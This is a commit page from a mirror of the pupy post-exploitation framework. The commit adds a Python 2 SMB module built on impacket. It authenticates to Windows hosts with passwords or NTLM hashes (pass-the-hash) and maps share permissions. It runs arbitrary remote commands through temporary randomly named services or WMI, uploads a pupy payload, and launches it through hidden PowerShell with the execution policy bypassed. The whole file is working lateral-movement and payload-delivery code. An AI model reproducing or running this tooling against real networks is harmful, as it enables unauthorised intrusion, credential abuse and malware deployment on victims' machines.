mirror of https://github.com/n1nj4sec/pupy.git
smbmap module pupyutils
This commit is contained in:
Alessandro ZANNI
parent
d24dce14ae
commit
c29c83c9be
|
|
@ -0,0 +1,453 @@
|
|||
#!/usr/bin/env python2
|
||||
from impacket import smbserver, ntlm
|
||||
from impacket.dcerpc.v5 import transport, scmr
|
||||
from impacket.dcerpc.v5.dcomrt import DCOMConnection
|
||||
from impacket.dcerpc.v5.dcom import wmi
|
||||
from impacket.dcerpc.v5.dtypes import NULL
|
||||
from impacket.smbconnection import *
|
||||
import argparse
|
||||
import time
|
||||
import ntpath
|
||||
import ConfigParser
|
||||
import traceback
|
||||
import random
|
||||
import sys
|
||||
import os
|
||||
import string
|
||||
|
||||
PERM_DIR = ''.join(random.sample(string.ascii_letters, 10))
|
||||
OUTPUT_FILENAME = ''.join(random.sample(string.ascii_letters, 10))
|
||||
BATCH_FILENAME = ''.join(random.sample(string.ascii_letters, 10)) + '.bat'
|
||||
SMBSERVER_DIR = ''.join(random.sample(string.ascii_letters, 10))
|
||||
DUMMY_SHARE = 'TMP'
|
||||
|
||||
class SMBServer():
|
||||
def __init__(self):
|
||||
if os.geteuid() != 0:
|
||||
exit('[!] Error: ** SMB Server must be run as root **')
|
||||
|
||||
def cleanup_server(self):
|
||||
print '[*] Cleaning up..'
|
||||
try:
|
||||
os.unlink(SMBSERVER_DIR + '/smb.log')
|
||||
except:
|
||||
pass
|
||||
os.rmdir(SMBSERVER_DIR)
|
||||
|
||||
def run(self):
|
||||
# Here we write a mini config for the server
|
||||
smbConfig = ConfigParser.ConfigParser()
|
||||
smbConfig.add_section('global')
|
||||
smbConfig.set('global','server_name','server_name')
|
||||
smbConfig.set('global','server_os','UNIX')
|
||||
smbConfig.set('global','server_domain','WORKGROUP')
|
||||
smbConfig.set('global','log_file',SMBSERVER_DIR + '/smb.log')
|
||||
smbConfig.set('global','credentials_file','')
|
||||
|
||||
# Let's add a dummy share
|
||||
smbConfig.add_section(DUMMY_SHARE)
|
||||
smbConfig.set(DUMMY_SHARE,'comment','')
|
||||
smbConfig.set(DUMMY_SHARE,'read only','no')
|
||||
smbConfig.set(DUMMY_SHARE,'share type','0')
|
||||
smbConfig.set(DUMMY_SHARE,'path',SMBSERVER_DIR)
|
||||
|
||||
# IPC always needed
|
||||
smbConfig.add_section('IPC$')
|
||||
smbConfig.set('IPC$','comment','')
|
||||
smbConfig.set('IPC$','read only','yes')
|
||||
smbConfig.set('IPC$','share type','3')
|
||||
smbConfig.set('IPC$','path')
|
||||
|
||||
self.smb = smbserver.SMBSERVER(('0.0.0.0',445), config_parser = smbConfig)
|
||||
print '[*] Creating tmp directory'
|
||||
try:
|
||||
os.mkdir(SMBSERVER_DIR)
|
||||
except Exception, e:
|
||||
print '[!]', e
|
||||
pass
|
||||
print '[*] Setting up SMB Server'
|
||||
self.smb.processConfigFile()
|
||||
print '[*] Ready to listen...'
|
||||
try:
|
||||
self.smb.serve_forever()
|
||||
except:
|
||||
pass
|
||||
|
||||
def stop(self):
|
||||
self.cleanup_server()
|
||||
self.smb.socket.close()
|
||||
self.smb.server_close()
|
||||
|
||||
class RemoteShellsmbexec():
|
||||
def __init__(self, share, rpc, mode, serviceName, command):
|
||||
self.__share = share
|
||||
self.__mode = mode
|
||||
self.__output = '\\Windows\\Temp\\' + OUTPUT_FILENAME
|
||||
self.__batchFile = '%TEMP%\\' + BATCH_FILENAME
|
||||
self.__outputBuffer = ''
|
||||
self.__command = command
|
||||
self.__shell = '%COMSPEC% /Q /c '
|
||||
self.__serviceName = serviceName
|
||||
self.__rpc = rpc
|
||||
self.__scmr = rpc.get_dce_rpc()
|
||||
|
||||
try:
|
||||
self.__scmr.connect()
|
||||
except Exception as e:
|
||||
print "[!] {}".format(e)
|
||||
sys.exit(1)
|
||||
|
||||
s = rpc.get_smb_connection()
|
||||
|
||||
# We don't wanna deal with timeouts from now on.
|
||||
s.setTimeout(100000)
|
||||
if mode == 'SERVER':
|
||||
myIPaddr = s.getSMBServer().get_socket().getsockname()[0]
|
||||
self.__copyBack = 'copy %s \\\\%s\\%s' % (self.__output, myIPaddr, DUMMY_SHARE)
|
||||
|
||||
try:
|
||||
self.__scmr.bind(scmr.MSRPC_UUID_SCMR)
|
||||
resp = scmr.hROpenSCManagerW(self.__scmr)
|
||||
self.__scHandle = resp['lpScHandle']
|
||||
self.transferClient = rpc.get_smb_connection()
|
||||
except Exception as e:
|
||||
print "[-] {}".format(e)
|
||||
|
||||
def set_copyback(self):
|
||||
s = self.__rpc.get_smb_connection()
|
||||
s.setTimeout(100000)
|
||||
myIPaddr = s.getSMBServer().get_socket().getsockname()[0]
|
||||
self.__copyBack = 'copy %s \\\\%s\\%s' % (self.__output, myIPaddr, DUMMY_SHARE)
|
||||
|
||||
def finish(self):
|
||||
# Just in case the service is still created
|
||||
try:
|
||||
self.__scmr = self.__rpc.get_dce_rpc()
|
||||
self.__scmr.connect()
|
||||
self.__scmr.bind(svcctl.MSRPC_UUID_SVCCTL)
|
||||
resp = scmr.hROpenSCManagerW(self.__scmr)
|
||||
self.__scHandle = resp['lpScHandle']
|
||||
resp = scmr.hROpenServiceW(self.__scmr, self.__scHandle, self.__serviceName)
|
||||
service = resp['lpServiceHandle']
|
||||
scmr.hRDeleteService(self.__scmr, service)
|
||||
scmr.hRControlService(self.__scmr, service, scmr.SERVICE_CONTROL_STOP)
|
||||
scmr.hRCloseServiceHandle(self.__scmr, service)
|
||||
except Exception, e:
|
||||
pass
|
||||
|
||||
def get_output(self):
|
||||
def output_callback(data):
|
||||
self.__outputBuffer += data
|
||||
|
||||
if self.__mode == 'SHARE':
|
||||
|
||||
#while True:
|
||||
# try:
|
||||
self.transferClient.getFile(self.__share, self.__output, output_callback)
|
||||
# break
|
||||
# except Exception, e:
|
||||
# if "STATUS_OBJECT_NAME_NOT_FOUND" in str(e):
|
||||
# time.sleep(1)
|
||||
# pass
|
||||
# else:
|
||||
# print str(e)
|
||||
# pass
|
||||
self.transferClient.deleteFile(self.__share, self.__output)
|
||||
|
||||
else:
|
||||
fd = open(SMBSERVER_DIR + '/' + OUTPUT_FILENAME,'r')
|
||||
output_callback(fd.read())
|
||||
fd.close()
|
||||
os.unlink(SMBSERVER_DIR + '/' + OUTPUT_FILENAME)
|
||||
|
||||
def execute_remote(self, data):
|
||||
command = self.__shell + 'echo ' + data + ' ^> ' + self.__output + ' 2^>^&1 > ' + self.__batchFile + ' & ' + self.__shell + self.__batchFile
|
||||
if self.__mode == 'SERVER':
|
||||
command += ' & ' + self.__copyBack
|
||||
command += ' & ' + 'del ' + self.__batchFile
|
||||
|
||||
try:
|
||||
resp = scmr.hRCreateServiceW(self.__scmr, self.__scHandle, self.__serviceName, self.__serviceName, lpBinaryPathName=command)
|
||||
service = resp['lpServiceHandle']
|
||||
except:
|
||||
return
|
||||
|
||||
try:
|
||||
scmr.hRStartServiceW(self.__scmr, service)
|
||||
except:
|
||||
pass
|
||||
scmr.hRDeleteService(self.__scmr, service)
|
||||
scmr.hRCloseServiceHandle(self.__scmr, service)
|
||||
self.get_output()
|
||||
|
||||
def send_data(self, data):
|
||||
self.execute_remote(data)
|
||||
result = self.__outputBuffer
|
||||
self.__outputBuffer = ''
|
||||
return result
|
||||
|
||||
class CMDEXEC:
|
||||
KNOWN_PROTOCOLS = {
|
||||
'139/SMB': (r'ncacn_np:%s[\pipe\svcctl]', 139),
|
||||
'445/SMB': (r'ncacn_np:%s[\pipe\svcctl]', 445),
|
||||
}
|
||||
|
||||
|
||||
def __init__(self, protocols = None, username = '', password = '', domain = '', hashes = '', share = None, command= None):
|
||||
if not protocols:
|
||||
protocols = CMDEXEC.KNOWN_PROTOCOLS.keys()
|
||||
|
||||
self.__username = username
|
||||
self.__password = password
|
||||
self.__protocols = [protocols]
|
||||
self.__serviceName = self.service_generator()
|
||||
self.__domain = domain
|
||||
self.__command = command
|
||||
self.__lmhash = ''
|
||||
self.__nthash = ''
|
||||
self.__aesKey = None
|
||||
self.__doKerberos = None
|
||||
self.__share = share
|
||||
self.__mode = 'SHARE'
|
||||
if hashes:
|
||||
self.__lmhash, self.__nthash = hashes.split(':')
|
||||
|
||||
def service_generator(self, size=6, chars=string.ascii_uppercase):
|
||||
return ''.join(random.choice(chars) for _ in range(size))
|
||||
|
||||
def run(self, addr):
|
||||
result = ''
|
||||
for protocol in self.__protocols:
|
||||
protodef = CMDEXEC.KNOWN_PROTOCOLS[protocol]
|
||||
port = protodef[1]
|
||||
#logging.info("Trying protocol %s..." % protocol)
|
||||
#logging.info("Creating service %s..." % self.__serviceName)
|
||||
|
||||
stringbinding = protodef[0] % addr
|
||||
rpctransport = transport.DCERPCTransportFactory(stringbinding)
|
||||
rpctransport.set_dport(port)
|
||||
|
||||
if hasattr(rpctransport,'preferred_dialect'):
|
||||
rpctransport.preferred_dialect(SMB_DIALECT)
|
||||
|
||||
if hasattr(rpctransport, 'set_credentials'):
|
||||
# This method exists only for selected protocol sequences.
|
||||
rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey)
|
||||
try:
|
||||
self.shell = RemoteShellsmbexec(self.__share, rpctransport, self.__mode, self.__serviceName, self.__command)
|
||||
result = self.shell.send_data(self.__command)
|
||||
except SessionError as e:
|
||||
if 'STATUS_SHARING_VIOLATION' in str(e):
|
||||
return
|
||||
else:
|
||||
print "[-] {}".format(e)
|
||||
|
||||
#self.__mode = 'SERVER'
|
||||
#serverThread = SMBServer()
|
||||
#serverThread.daemon = True
|
||||
#serverThread.start()
|
||||
#self.shell = RemoteShellsmbexec(self.__share, rpctransport, self.__mode, self.__serviceName, self.__command)
|
||||
#self.shell.set_copyback()
|
||||
#result = self.shell.send_data(self.__command)
|
||||
#serverThread.stop()
|
||||
|
||||
except (Exception, KeyboardInterrupt), e:
|
||||
print e
|
||||
traceback.print_exc()
|
||||
self.shell.finish()
|
||||
sys.stdout.flush()
|
||||
# sys.exit(1)
|
||||
|
||||
return result
|
||||
|
||||
class WMIEXEC:
|
||||
def __init__(self, command = '', username = '', password = '', domain = '', hashes = '', share = None, noOutput=True):
|
||||
self.__command = command
|
||||
self.__username = username
|
||||
self.__password = password
|
||||
self.__domain = domain
|
||||
self.__lmhash = ''
|
||||
self.__nthash = ''
|
||||
self.__aesKey = None
|
||||
self.__share = share
|
||||
self.__noOutput = noOutput
|
||||
self.__doKerberos = False
|
||||
if hashes:
|
||||
self.__lmhash, self.__nthash = hashes.split(':')
|
||||
|
||||
def run(self, addr, smbConnection):
|
||||
result = ''
|
||||
dcom = DCOMConnection(addr, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, oxidResolver = True, doKerberos=self.__doKerberos)
|
||||
iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,wmi.IID_IWbemLevel1Login)
|
||||
iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)
|
||||
iWbemServices= iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL)
|
||||
iWbemLevel1Login.RemRelease()
|
||||
|
||||
win32Process,_ = iWbemServices.GetObject('Win32_Process')
|
||||
|
||||
try:
|
||||
self.shell = RemoteShellwmi(self.__share, win32Process, smbConnection)
|
||||
result = self.shell.send_data(self.__command)
|
||||
except (Exception, KeyboardInterrupt), e:
|
||||
traceback.print_exc()
|
||||
dcom.disconnect()
|
||||
sys.stdout.flush()
|
||||
|
||||
dcom.disconnect()
|
||||
|
||||
return result
|
||||
|
||||
class RemoteShellwmi():
|
||||
def __init__(self, share, win32Process, smbConnection):
|
||||
self.__share = share
|
||||
self.__output = '\\' + OUTPUT_FILENAME
|
||||
self.__outputBuffer = ''
|
||||
self.__shell = 'cmd.exe /Q /c '
|
||||
self.__win32Process = win32Process
|
||||
self.__transferClient = smbConnection
|
||||
self.__pwd = 'C:\\'
|
||||
self.__noOutput = False
|
||||
|
||||
# We don't wanna deal with timeouts from now on.
|
||||
if self.__transferClient is not None:
|
||||
self.__transferClient.setTimeout(100000)
|
||||
else:
|
||||
self.__noOutput = True
|
||||
|
||||
def get_output(self):
|
||||
def output_callback(data):
|
||||
self.__outputBuffer += data
|
||||
|
||||
if self.__noOutput is True:
|
||||
self.__outputBuffer = ''
|
||||
return
|
||||
|
||||
while True:
|
||||
try:
|
||||
self.__transferClient.getFile(self.__share, self.__output, output_callback)
|
||||
break
|
||||
except Exception, e:
|
||||
if "STATUS_SHARING_VIOLATION" in str(e):
|
||||
time.sleep(1)
|
||||
pass
|
||||
else:
|
||||
#print str(e)
|
||||
pass
|
||||
self.__transferClient.deleteFile(self.__share, self.__output)
|
||||
|
||||
def execute_remote(self, data):
|
||||
command = self.__shell + data
|
||||
if self.__noOutput is False:
|
||||
command += ' 1> ' + '\\\\127.0.0.1\\%s' % self.__share + self.__output + ' 2>&1'
|
||||
obj = self.__win32Process.Create(command, self.__pwd, None)
|
||||
self.get_output()
|
||||
|
||||
def send_data(self, data):
|
||||
self.execute_remote(data)
|
||||
result = self.__outputBuffer
|
||||
self.__outputBuffer = ''
|
||||
return result
|
||||
|
||||
def _listShares(smb, passwd):
|
||||
permissions = dict()
|
||||
root = ntpath.normpath("\\{}".format(PERM_DIR))
|
||||
|
||||
for share in smb.listShares():
|
||||
share_name = str(share['shi1_netname'][:-1])
|
||||
permissions[share_name] = "NO ACCESS"
|
||||
|
||||
try:
|
||||
if smb.listPath(share_name, '', passwd):
|
||||
permissions[share_name] = "READ"
|
||||
except:
|
||||
pass
|
||||
|
||||
try:
|
||||
if smb.createDirectory(share_name, root):
|
||||
smb.deleteDirectory(share_name, root)
|
||||
permissions[share_name] = "READ, WRITE"
|
||||
except:
|
||||
pass
|
||||
|
||||
return permissions
|
||||
|
||||
def upload_file(smbconn, host, src, dst):
|
||||
dst = string.replace(dst,'/','\\')
|
||||
dst = ntpath.normpath(dst)
|
||||
dst = dst.split('\\')
|
||||
share = dst[0]
|
||||
dst = '\\'.join(dst[1:])
|
||||
|
||||
if os.path.exists(src):
|
||||
print '[+] Starting upload: %s (%s bytes)' % (src, os.path.getsize(src))
|
||||
upFile = open(src, 'rb')
|
||||
try:
|
||||
smbconn.putFile(share, dst, upFile.read)
|
||||
print '[+] Upload complete: %s' % dst
|
||||
except Exception as e:
|
||||
print '[!]', e
|
||||
print '[!] Error uploading file, you need to include destination file name in the path'
|
||||
upFile.close()
|
||||
else:
|
||||
print '[!] Invalid source. File does not exist'
|
||||
|
||||
def connect(host, port, user, passwd, hash, share, list_shares, execute_pupy, random_pupy_name, src, dst, command, domain="workgroup", execm="smbexec"):
|
||||
try:
|
||||
smb = SMBConnection(host, host, None, port, timeout=2)
|
||||
try:
|
||||
smb.login('' , '')
|
||||
except SessionError as e:
|
||||
if "STATUS_ACCESS_DENIED" in e.message:
|
||||
pass
|
||||
|
||||
print "[+] {}:{} is running {} (name:{}) (domain:{})".format(host, port, smb.getServerOS(), smb.getServerName(), domain)
|
||||
|
||||
if execute_pupy:
|
||||
# command = 'powershell.exe "cat %s | Out-String | IEX"' % (dst.replace('$', ':'))
|
||||
dst = dst.replace('txt', 'ps1')
|
||||
command = 'powershell.exe -ExecutionPolicy Bypass -windowstyle hidden -file "%s"' % dst.replace('$', ':')
|
||||
# print 'src: %s' % src
|
||||
# print 'dst: %s' % (dst.replace('$', ':') + os.sep + random_pupy_name)
|
||||
# print 'random_pupy_name: %s' % random_pupy_name
|
||||
|
||||
if list_shares or command:
|
||||
try:
|
||||
lmhash = ''
|
||||
nthash = ''
|
||||
if hash:
|
||||
lmhash, nthash = hash.split(':')
|
||||
|
||||
smb.login(user, passwd, domain, lmhash, nthash)
|
||||
if list_shares:
|
||||
separator = " " * (50 - len("SHARE"))
|
||||
print "\tSHARE%sPermissions" % separator
|
||||
print "\t----%s-----------" % separator
|
||||
for share, perm in _listShares(smb, passwd).iteritems():
|
||||
separator = " " * (50 - len(share))
|
||||
print "\t%s%s%s" % (share, separator, perm)
|
||||
print
|
||||
|
||||
if execute_pupy:
|
||||
upload_file(smb, host, src, dst)
|
||||
|
||||
if command:
|
||||
if execm == 'smbexec':
|
||||
executer = CMDEXEC('{}/SMB'.format(port), user, passwd, domain, hash, share, command)
|
||||
result = executer.run(host)
|
||||
|
||||
elif execm == 'wmi':
|
||||
executer = WMIEXEC(command, user, passwd, domain, hash, share)
|
||||
result = executer.run(host, smb)
|
||||
|
||||
if result: print result
|
||||
|
||||
smb.logoff()
|
||||
|
||||
except SessionError as e:
|
||||
print "[-] {}:{} {}".format(host, port, e)
|
||||
except Exception as e:
|
||||
print "[-] {}:{} {}".format(host, port, e)
|
||||
|
||||
except Exception as e:
|
||||
print "[!] {}".format(e)
|
||||
|
||||
Loading…
Reference in New Issue